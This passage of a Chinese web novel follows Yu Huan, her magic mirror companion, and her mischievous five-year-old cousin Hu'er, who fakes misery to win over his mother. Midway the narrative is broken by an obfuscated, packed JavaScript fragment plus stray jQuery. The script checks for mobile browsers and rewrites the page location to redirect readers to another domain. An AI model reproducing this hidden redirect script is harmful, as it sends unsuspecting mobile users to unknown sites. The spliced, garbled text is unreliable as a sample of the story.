翌日,余欢醒得极早。
醒来头一件事,便是将手探入枕下。
摸到了期望中的镜子,余欢的心怦怦直跳。
不是梦,昨夜发生的事不是梦!
余欢把镜子捧在手里。
窗外晨光熹微,在这样的光线下,她看镜中的自己,比昨夜真切得多。
余欢忍不住将那下垂的嘴角微微扬起。
看了半晌,她静下心神,在心下默念:“小己。”
“早呀,余欢。”
“嗯……我没事,我只是想看看你在不在。”
“我知道呀。”
屋内陷入一阵沉默。
老实说,余欢觉得自己并不擅长与人交往,嘴笨得很。
但小己似乎并不在意这微妙的尴尬,于是她渐渐也变得不那么紧绷了。
余欢坐在床侧,看窗外渐渐明朗的景色,看东边逐渐明亮的光。
昨夜的一切,小己的到来,对她来说太过神奇。
神奇到冲散了笼罩在她心头的悲伤,叫她一时忘了这几日发生的事。
而此刻,脚踏在地面之上,她飘飞的思绪也被拽回现实了。
“小己,界面里有找人的法宝吗?”
“没有。”
余欢不再说话。
这时,她从窗中瞥见外头的篱门开了一条缝。
紧接着,一个小小的身影挤了进来。
是她五岁的小堂兄,余才福。
据闻她这小堂兄幼时很是多病,为了好养活,大伯给他起了个“虎儿”的贱名。
此刻观他稳稳当当的身形,想来这名字起得很合适。
虎儿已经进了院子。
只见他左右探了探脑袋,从地上抓了把泥涂在衣服上,似嫌不够,又往脸上也抹了一把。
这一套动作下来,虎儿揉了揉眼睛,紧接着便嚎开了。
“哇——”
“娘,娘——”
犹如一声响雷,虎儿的嗓子惊飞了枝头的鸟雀,惊醒了屋内的吕桃芳与李金草。
李金草听见这熟悉的声音,猛地从床上坐了起来,竖耳细听片刻,确定是自家儿子,眉头顿时皱了起来。
“这孩子,大早上的嚎什么……”
险些把“嚎丧”二字说出来。
念及身边的吕桃芳,李金草忙收了音,转而歉意道:“这孩子太不懂事。芳娘,还早,你多睡会儿,我出去瞧瞧。”
说罢,李金草三两下便下床穿好了衣裳鞋袜,一脸怒容出了屋子。
“鬼叫什么呢!”
李金草压低声音骂道。
虎儿可不怕他娘的怒脸,他自认为他现在可怜兮兮的,娘一定舍不得打骂。
殊不知,在李金草眼里,她跟前站的就是个泥猴儿。
泥猴儿扑进了陆金草的怀里,拿一双红红的眼睛望着她。
“娘,你什么时候回来?你不在,我吃不饱饭,穿不暖衣,爹和哥连床都不给我睡……”
嘿,瞧瞧,这就开始演上了。
自阿爹颓废不振后,余家兄弟便断了来往,因此余欢此前对这个小堂兄没有一点了解。
此时看他这调皮又可爱的模样,忍不住弯了嘴角。
李金草可不觉得自家这蠢儿子可爱,险些气得仰倒。
“说什么胡话!”李金草气得在他屁股上打了一巴掌,“说实话,去哪儿野去了?说了多少次,让你别野猪似的在泥地里打滚,你把衣裳弄得这样脏,我可不帮你洗!”
虎儿瞪大了一双圆圆的眼,难以置信。
铁栓明明说,扮可怜就能要什么来什么,越可怜越好。
他扮得这样可怜,娘怎么还打他呢?
虎儿的自信心大受打击,不甘心地狡辩道:“不是我弄的,是爹和哥打了我,他们……”
“放屁!”李金草又“啪”的往他屁股上打了一下,这次是真使了力,“你爹和你哥平白无故打你做什么?你去哪里学的满嘴谎话?”
虎儿眼眶红红的,一泡泪水盈满了眼眶。
这次不是装的,是真委屈了。
“还哭!你敢把你的猫尿掉下来试试!”
李金草不骂还好,她一说,虎儿的眼泪便兜不住了,啪嗒啪嗒掉了下来。
“呜呜,娘……”
李金草看得火起,她这几日忙得脚不沾地,这孩子不心疼她就算了,还这般不懂事。
正想再说两句,虎儿却从怀中仰起小脸,吸着鼻涕问:“娘,你什么时候回来?虎儿想你……”
一颗心顿时化成了水,怒气散得一干二净。
“唉,你这孩子。”
李金草擦掉他的眼泪,从虎儿怀里扯出一块旧帕子,给他擤了鼻涕。
“你有话直说就是了,怎么还绕了半天,你这不是讨打吗?好了,别哭了,中午娘给你做饼子吃。”
虎儿委屈巴巴地靠在李金草怀里,猛地明白了什么才叫做可怜。
现在不就是吗!
娘的语气何时这么温柔过呀?还要给他做饼吃?铁栓果然没骗他!
一时洋洋得意,又抬起头来,瞄着他娘的脸色得寸进尺。
“娘,我的屁股好疼,好像肿了!要是能抱着上次在集上见着的木老虎,一定很快就好……”
眼见李金草的脸色转黑,那温柔荡然无存,只剩熊熊怒火,虎儿忙从她怀里挣了出去,退得两丈远。
“娘,你别生气,我什么都没说!”
李金草冷笑:“屁股不是肿了吗,我看你灵便得很!”
说着,环顾一圈,自柴堆里抽出一根细棍来。
虎儿求饶:“娘,娘!我错了!我不要木老虎了!”
虎儿退一步,李金草便逼进一步,很快,局势变成了李金草在小小的院中追打狼狈的虎儿。
直到吕桃芳从房内出来,中止了这场战争。
“大嫂。”
李金草闻言,停了步子,把棍子扔到一边。
“芳娘,你怎么就起了?都是虎儿,声音这般大。”
李金草瞪了躲在角落的虎儿一眼。
“大嫂,不是虎儿的缘故,是我自己睡不住。”
吕桃芳看了一眼虎儿,面露慈爱。
她对李金草诚恳道:“大嫂,你与大哥这几日实在帮我们太多了,我真心感激。从前正青做得不对,我也丢了魂,没想到你和大哥不但不计较,还这样照顾我们,我……我真是不知该说什么才好。”
李金草看她红了眼睛,忙握住吕桃芳的手:“芳娘,都是一家人,别说这些见外的。你别想太多,只管把身子养好了,这样才能把日子过下去。”
“大嫂说得对。”
吕桃芳忙抹了眼泪,对李金草露出一个笑容。
“大嫂,虎儿想你,你便先回家去吧,我与欢儿能照顾好自己。”
“不行,我不放心。”
“大嫂,真的……”
“你不必说了。”李金草显出了平日惯常的强势,“我要是就这么回去,心里不安不说,你大哥也要骂我的。”
“这,可虎儿……”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533974|186461||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“我看这么办吧,我再陪你们两三日,让虎儿也住这儿,同余欢住一间,正好陪她说说话。芳娘,你看行吗?”
虽是询问,可吕桃芳听出来,大嫂这是已经决定了。
她自然不会反对,大嫂照看她们娘俩,她已是十分过意不去。
房内的余欢却是不怎么愿意。
她犹豫着,想着要不说她和娘睡一间,让伯娘和虎儿一间。
好在有更不乐意的人比她先出了声。
虎儿一下子从角落蹿了出来:“娘,我不要!我不要和不认识的人一起睡!”
“皮子又痒了是不是?怎么说话的?什么叫不认识的人?啊?”
李金草一手叉腰,一手过去将虎子逮住。
“是不是连你老娘我你都不想认识?”
“娘,我没说……嘶!娘!疼疼疼,耳朵疼!我错了!”
李金草略微放松了拧在虎儿耳朵上的手。
“还犟不犟了?”
虎儿求饶:“不犟了,不犟了,娘你快松手。”
李金草瞪了他一眼,方才松手。
虎儿捂着自己几乎着火的耳朵,心想早知就不来了。
白讨一顿打。
正懊悔,他余光忽然瞥见东屋的窗开了一条缝。
那条缝中有一道身影,藏得极快。
虎儿悄悄撇了撇嘴,对余欢的成见更大了。
爹娘和哥从不跟他提二叔家的不好,可从别人那儿,他得的消息可不少。
铁栓说,他爹以前不支持二叔做生意,兄弟俩为此大吵了一架,后来二叔生意做得风生水起,可不久就遭人下了套,沾了赌。
他爹气得又将二叔骂了一顿,却也拿了些家当帮衬,可不知二叔怎么想的,不领情就算了,还自此与他们家断了往来。
虎儿因此认定他二叔不是个好东西。
二叔家里的其他人肯定也不是好东西。
而且旁人也有这么说的,可见铁栓没有骗人。
成见不小,但虎儿不敢把心里话说出来。
去年他在大哥面前埋怨了几句,结果他哥直接揍了他一顿。
他跑到爹娘面前哭诉讨公道,结果屁股承受了更猛烈的巴掌。
虎儿心有余悸地捂住了自己的屁股,收回了目光。
哼,住就住,他才不怕那哭包呢!
-
余欢记挂着昨夜里学的竹编技艺,也不怕午间灼人的日头,吃完饭便出了门。
迫不及待,她想要验证。
吕桃芳和李金草以为余欢还没难过里走出来,不放心她一个人散心,叫虎儿跟着一起去。
于是,此刻余欢身后便缀了一条趾高气昂的小尾巴。
心细如余欢,怎会不知道虎儿不喜欢她。
只不过虎儿还小,她并不觉得十分尴尬。
“哎,你到底要去哪儿?热死了!”
出了村口,虎儿终于发难。
余欢害怕冲突,却也不是没有一点脾气。
并不应答,脚步也未停。
“哎!”被无视的虎儿气得跺脚,“哎!我跟你说话呢!”
“……余欢!”
余欢总算停了步,转头看他。
“原来你知道我的名字啊。”
落在虎儿眼中,余欢的眼神绝对是挑衅。
他就知道,余欢跟他二叔一样肚子里全是坏水儿!
“哼,我当然知道。”虎儿眼珠一转,叉起腰来,“我还知道,你得叫我哥呢。”
“快叫虎哥!”